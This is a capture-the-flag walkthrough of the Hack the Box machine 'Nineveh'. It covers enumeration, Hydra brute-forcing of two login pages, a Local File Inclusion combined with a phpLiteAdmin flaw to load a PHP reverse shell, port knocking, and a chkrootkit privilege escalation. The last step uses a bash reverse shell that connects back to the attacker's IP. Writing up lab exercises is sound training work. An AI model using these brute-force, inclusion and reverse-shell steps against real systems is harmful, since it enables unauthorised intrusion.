Summary

Nineveh is a medium-rated machine from Hack the Box that takes advantage of different web servers, hosted on HTTP and HTTPS, and are susceptible to brute force attacks. Using both of them to interact with each other, we can exploit a Local File Inclusion vulnerability to gain a foothold, followed by exploiting a binary running as root for privilege escalation.

Enumeration

Initial enumeration of Nineveh is pretty straightforward, showing only web protocols open over ports 80 and 443:

Nmap 7.80 scan initiated Mon Aug 17 20:38:56 2020 as: nmap -sC -sV -oN nineveh.nmap 10.10.10.43
Nmap scan report for 10.10.10.43
Host is up (0.041s latency).
Not shown: 998 filtered ports
PORT    STATE SERVICE  VERSION 80/tcp  open  http     Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html). 443/tcp open  ssl/http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR
| Not valid before: 2017-07-01T15:03:30
|_Not valid after:  2018-07-01T15:03:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1

The landing page on port 80 is a standard Apache "It Works!" page, leading us directly into a gobuster scan to enumerate directories. Enumeration is crucial on Nineveh with many pieces of the puzzle hidden across services and obscure directories. Early into the goubster scan of HTTP, we find a login page located on "/department/login.php".

kali ~/HTB/machines/nineveh >> gobuster dir -u [http://nineveh.htb](https://nineveh.htb/) -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html -o ninveh.gobuster
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: [http://nineveh.htb](https://nineveh.htb/) [+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,txt
[+] Timeout: 10s
===============================================================
2020/08/18 06:55:32 Starting gobuster
===============================================================
/info.php (Status: 200)
/index.html (Status: 200) /department (Status: 301) /server-status (Status: 403)

Viewing the page source reveals a hidden note to the admin:

<!-- @admin! MySQL is been installed.. please fix the login page! ~amrois -->

Armed with this knowledge of a username value of "admin", we can attempt a brute force login using Hydra:

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid Password!" -v

After several minutes, we successfully find a password set of "Admin:1q2w3e4r5t". Logging in with our newly discovered credentials, we stumble across a page that is currently under construction (as noted by amrois earlier in his hidden message to the admin). Of the three links available to us, one titled "Notes" points us to yet another secret:

With no other directories of note uncovered via gobuster, it doesn't seem there are any further directories we can enumerate or uncover. Vulnerabilities, however are hidden everywhere; if you notice the URL, PHP is calling a local file via the "notes" variable:

10.10.10.43/department/manage.php?notes=files/ninevehNotes.txt

Manipulating the "notes=" value provides an error page, specifying the file we are trying to access isn't available on the server. However, if we try to set the "notes=" variable to something we know is present, line /etc/passwd, we are provided with another error revealing no such file in /var/www/html/. Trying to attempt directory traversal prompts us with the same error. We can use this for later use, but not quite yet with the current level of knowledge we have of the machine.

Moving to the other open port uncovered during the initial nmap scan, 443, provides a different experience altogether, starting with the landing page:

Enumerating the web server over HTTPS also reveals a different story with additional directories for us to exploit, along with one what we can assume is amrois' secret folder referenced in the Notes on port 80:

kali ~/HTB/machines/nineveh >> gobuster dir -u [https://nineveh.htb](https://nineveh.htb/) -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php -o ninveh-https.gobuster -k
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: [https://nineveh.htb](https://nineveh.htb/) [+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,txt
[+] Timeout: 10s
===============================================================
2020/08/18 07:55:32 Starting gobuster
===============================================================
/db (Status: 301)
/server-status (Status: 403) /secure_notes (Status: 301) ===============================================================
2020/08/18 08:34:41 Finished
===============================================================

When navigating to the /secure_notes directory, we see a picture with no other notes in the page source:

Downloading the picture reveals the size sits at a whopping 2.76 MB, practically begging us to perform analysis on it. For the uninitiated, Steganography is the practice of hiding information into an unassuming file and is very common in CTF's and some Hack the Box machines. Though not very commonplace in the real world and on penetration tests, there are lots of tools pre-built into Kali and even more can be found here. However, before we perform any deep analysis, we can use strings to potentially find some low-hanging fruit:

A wild SSH private key appears! The problem, however, is SSH is closed, and we can't immediately make use of this. Again saving this information for later, we can continue to enumerate the other directories found on the server, namely /db.

Foothold

Navigating to the /db directory presents us with yet another login scree, but only with the password required. The default credentials for phpLiteAdmin don't work here, so Hydra is going to be our best bet yet again. Open Burp Suite to intercept the required parameters and make sure to use the https-post-form:

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password." -v

Now that we have a password set of "admin:password123", we can log in and view the version number of phpLiteAdmin to check for vulnerabilities. Some researching will reveal a vulnerability that allows for the creation of databases with .php extensions. With this, it's possible to create a table within said database with PHP code for execution if called upon correctly. If only there were some way to access this...

Local File Inclusion (LFI) is a vulnerability where a server or workstation has a value that can be manipulated to access files hosted locally that are located outside of the approved container. For example, if a web server is susceptible to LFI, instead of only having access to files within the directory the server is running, the server can also access files located outside, such as password files or private documents.

In this case, we are going to combine the following:

  • The LFI vulnerability we uncovered on port 80, and
  • The phpLiteAdmin vulnerability calls database names with PHP exentions to execute code contained in tables.

Exploiting this is straightforward: within phpLiteAdmin, name the database "ninevehNotes.php" to bypass the restrictions present we found on the when manipulating the "notes=" value and add our malicious PHP code as the value of a table. Here's what an example of a successful database and table value could be:

On our local machine, grab the built-in PHP reverse shell (located at /usr/share/webshells/php) and make the appropriate edits. Finally, start a Python HTTP server to host it and set up a netcat listener to grab a connection if our exploit is successful. After these items are in place, we navigate to the following URL in a browser to take advantage of the LFI vulnerability:

http://nineveh.htb/department/manage.php?notes=/var/tmp/ninevehNotes.php

Upon execution, we can return to our netcat listener to see a shell from www-data:

Privilege Escalation

Now that we've got a foothold, we can begin to enumerate Nineveh from the inside out. Grabbing a copy of LinPEAS.sh from our attacking machine, the first thing that stands out knockd - a binary running as a daemon to force port knocking to uncover hidden ports. If you aren't familiar with port knocking, it is a method of hiding an open port until a specific sequence of connections are made over other obscure ports. Taking a peek at /etc/knockd.conf shows the specific order we have to connect to in order to open SSH to our box:

knock 10.10.10.43 571 290 911

In another terminal, we should be able to issue the following command and then immediately be able to SSH to Nineveh with the key we found earlier in our steganography:

Now that we have access to the machine as amrois, rerunning LinPEAS reveals an odd directory of /reports in root. Investigating the directory shows files that appear to be output of a malware scanner, as seen here:

amrois@nineveh:/report$ cat report-20-08-18\:20\:30.txt 
ROOTDIR is `/'
Checking `amd'... not found
Checking `basename'... not infected
Checking `biff'... not found
Checking `chfn'... not infected
Checking `chsh'... not infected
Checking `cron'... not infected
Checking `crontab'... not infected

[...]

Searching for ENYELKM rootkit default files... nothing found
Searching for common ssh-scanners default files... nothing found
Searching for suspect PHP files... 
/var/tmp/tek.php
/var/tmp/ninevehNotes.php
Searching for anomalies in shell history files... Warning: `//root/.bash_history' file size is zero
Checking `asp'... not infected
Checking `bindshell'... not infected
Checking `lkm'... not tested: can't exec 
Checking `rexedcs'... not found
Checking `sniffer'... not tested: can't exec ./ifpromisc
Checking `w55808'... not infected
Checking `wted'... not tested: can't exec ./chkwtmp
Checking `scalper'... not infected
Checking `slapper'... not infected
Checking `z2'... not tested: can't exec ./chklastlog
Checking `chkutmp'... not tested: can't exec ./chkutmp
Checking `OSX_RSPLUG'... not infected

This is great information, but we don't have enough to work with based on just the output. We can't access the binary producing this script to check for escaped binary paths, nor can we see exactly what is being called to look at each of these files.

Enter PSPY - a tool created by Dominic Breuker that listens to all processes running on a machine. Connecting to Nineveh in another SSH session and running PSPY can provide some granularity over what exactly is happening behind the scenes. The binary appears to be running as soon as an SSH connection is made, according to the PSPY output below:

Now that we insight into what exactly the binary is: /root/vulnScan.sh. This also explains why we couldn't find it, given that it is owned by root. We we can see, however, is how heavily it relies on a binary called chkrootkit. Searching for this binary on Exploit-DB again gives us quick insight into a local privilege escalation vulnerability where any file named "update" within the /tmp directory will be executed with root privileges.

Moving to the /tmp directory, we can create a simple bash script, containing the following code, and give it executable permissions to take advantage of the exploit.

amrois@nineveh:/tmp$ cat update
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.14/1234 0>&1
amrois@nineveh:/tmp$ chmod +x /tmp/update

All that's left is to set up a netcat listener prior to creating a new SSH connection. After waiting some time for /root/vulnScan.sh to run, we are greeted with the following and can view root.txt: